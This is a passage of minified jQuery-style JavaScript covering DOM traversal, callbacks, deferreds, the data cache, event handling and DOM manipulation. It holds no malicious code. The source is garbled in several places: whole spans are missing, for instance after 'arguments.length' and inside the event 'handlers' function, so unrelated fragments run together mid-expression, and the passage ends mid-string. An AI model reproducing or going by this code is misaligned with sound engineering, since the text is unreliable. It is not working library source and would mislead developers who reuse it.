a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("